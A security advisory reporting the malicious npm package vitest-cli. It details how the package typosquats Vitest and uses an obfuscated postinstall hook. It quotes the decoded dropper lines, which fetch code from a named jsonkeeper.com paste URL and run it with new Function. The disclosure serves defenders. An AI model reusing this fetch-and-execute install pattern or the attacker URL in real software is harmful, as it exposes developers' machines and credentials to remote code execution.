VDB
KO

MAL-2026-6267

Malicious code in vitest-cli (npm)

Details

--- _-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (27abcc7f2373309feb253b0cc48b1a8bae7c54a3c43aed0c57add697f4067aba) Package name `vitest-cli` impersonates the official Vitest project while declaring empty `author`, `homepage`, `repository`, and `bugs` metadata. The `package.json` declares `scripts.postinstall: node scripts/postinstall.js`, which auto-runs on every `npm install`. The postinstall reaches `lib/postinstall/index.js` line 23, which evaluates a P.A.C.K.E.R.-obfuscated blob via `eval((function(p,a,c,k,e,d){...})(...))`. Once decoded, the payload calls `axios.get('https://jsonkeeper.com/external/W33XO')` and executes the response's `data.cookie` field with `new Function('require', r.data.cookie)(require)`, retrying up to three times with 10-minute delays. jsonkeeper.com is an anonymous, mutable JSON paste host — the publisher can swap the executed bytes at any time without republishing the package. The thin wrapper around this dropper merely locates an installed `vitest` and spawns it as cover. Installer impact: arbitrary attacker-controlled JavaScript runs with full Node privileges on every developer machine and CI runner that installs this package, with access to environment variables, source trees, and credentials reachable from the install context. The combination of a typosquat name against a popular target, empty publisher metadata, P.A.C.K.E.R. obfuscation of the network+exec payload, mutable-paste-host fetch URL, and direct `new Function` execution of the response body is an unambiguous supply-chain attack.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm / vitest-cli

No fixed version published yet for vitest-cli (npm). Pin to a known-safe version or switch to an alternative.

References